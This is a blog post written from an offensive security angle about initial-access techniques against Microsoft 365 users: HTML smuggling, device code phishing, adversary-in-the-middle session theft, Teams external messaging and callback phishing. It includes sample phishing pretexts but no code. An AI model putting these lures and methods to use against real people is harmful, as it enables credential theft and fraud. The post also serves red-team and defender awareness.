The Art of Initial Access

The infosec community produces thousands of blog posts about privilege escalation, lateral movement, and persistence. Conference talks about Kerberos abuse and EDR evasion fill every event. But the hardest part of any real engagement is not owning the domain. It's getting that first callback.

Initial access is unglamorous. Half of it is social engineering. The other half is finding the one vector that survives a modern email gateway, endpoint protection, and a user who has been through phishing training four times this year. But without it, nothing else matters. All your post-exploitation tradecraft is worthless if you cannot get a foothold.

The Graveyard

Everything you learned in 2020 is dead. Microsoft spent the last few years systematically killing every initial access vector the industry relied on.

1. HTML Smuggling

The payload never crosses the wire. You send an HTML file (or a link to one) that contains a base64-encoded payload embedded in JavaScript. When the target opens the HTML in their browser, the JavaScript assembles the payload client-side and triggers a download. The email gateway never sees a binary. The proxy never sees a file transfer. The payload materialises on the endpoint out of thin air.

Why it works: email gateways scan attachments for malicious content. They cannot execute JavaScript. The HTML file is technically clean because the payload does not exist until the browser renders it. By the time the file hits disk, it has already bypassed every network-level control.

2. Device Code Phishing

This one is elegant. Microsoft's OAuth device code flow was designed for devices without browsers: smart TVs, IoT, CLI tools. You request a device code from Azure AD, get a URL (microsoft.com/devicelogin) and a short code. Send the target a pretext: "Complete your MFA enrollment" or "Verify your account for the new security policy." They go to a legitimate Microsoft URL, enter the code, authenticate normally, and you receive their OAuth token.

The devastating part: there is nothing to detect on the endpoint. No file was dropped. No process was spawned. The user visited a legitimate Microsoft domain and authenticated normally. The only indicator is an unusual OAuth token grant in the Azure AD sign-in logs, and most organisations are not monitoring for that.

3. Adversary in the Middle (AiTM)

MFA was supposed to be the answer to phishing. AiTM makes it irrelevant. You stand up a reverse proxy between the target and the real login page. The target clicks your link, sees the real Microsoft (or Okta, or Google) login page rendered through your proxy, enters their credentials, completes their MFA push, and authenticates normally. Your proxy captures the session cookie in transit. You replay the cookie and you are in.

The user did everything right. They checked the MFA prompt. They approved it on their phone. Didn't matter. You captured the authenticated session that comes after the MFA check. You are not stealing the second factor. You are stealing the result of a successful authentication. Tools like Evilginx have made this turnkey. Stand up a proxy, register a convincing domain, send the link, wait.

4. Teams External Messaging

By default, Microsoft 365 tenants allow external users to send Teams messages to anyone in the organisation. Most companies never change this setting. Think about what that means. You can skip the email gateway entirely. No spam filter. No safe links. No attachment scanning. Just a direct message that shows up in someone's Teams chat.

Users are trained to be suspicious of emails. Nobody has been through "Teams message phishing awareness training." The guard is completely down. A message from "IT Support" asking them to "verify their credentials on the new portal" or "install this required update" lands differently when it arrives in Teams instead of their inbox.

The fix is a single toggle in the M365 admin centre. Disable external access or restrict it to specific domains. Almost nobody does this because legitimate external collaboration depends on it. Convenience wins over security every time.

5. Callback Phishing

Zero indicators of compromise in the email. No link. No attachment. No payload. Just a message: "Your annual subscription of $499.99 renews tomorrow. If you did not authorise this charge, call +1-XXX-XXX-XXXX to cancel."

The target calls. Your operator walks them through a "cancellation process" that involves visiting a "secure cancellation portal" (your payload delivery page) or running a "verification tool" (your stager). The user downloads and runs it voluntarily. They are the delivery mechanism.

This works because it exploits urgency, not curiosity. An unexpected charge triggers a stress response that bypasses rational thinking. The user is not evaluating whether the email is suspicious. They are trying to stop a $499 charge. By the time they are on the phone, they will do whatever your operator says. The email gateway has nothing to scan. Machine learning has nothing to flag. You are the delivery mechanism.

The Comparison

Two of these five methods bypass MFA entirely. Three of them have nothing for an email gateway to scan. One of them involves zero technical indicators whatsoever. The common thread: none of them rely on dropping a malicious file through email. That era is over.

The Takeaway

Initial access is an arms race, and right now the offence is winning. Every time Microsoft patches a delivery vector, operators find three more. The shift is clear: the best initial access methods in 2026 do not rely on dropping files. They abuse legitimate services, legitimate protocols, and human trust. The payload is almost an afterthought. The pretext is the weapon.

If you are still trying to get a macro-enabled document through an email gateway, you are fighting a war that ended years ago. Adapt or keep bouncing off the front door.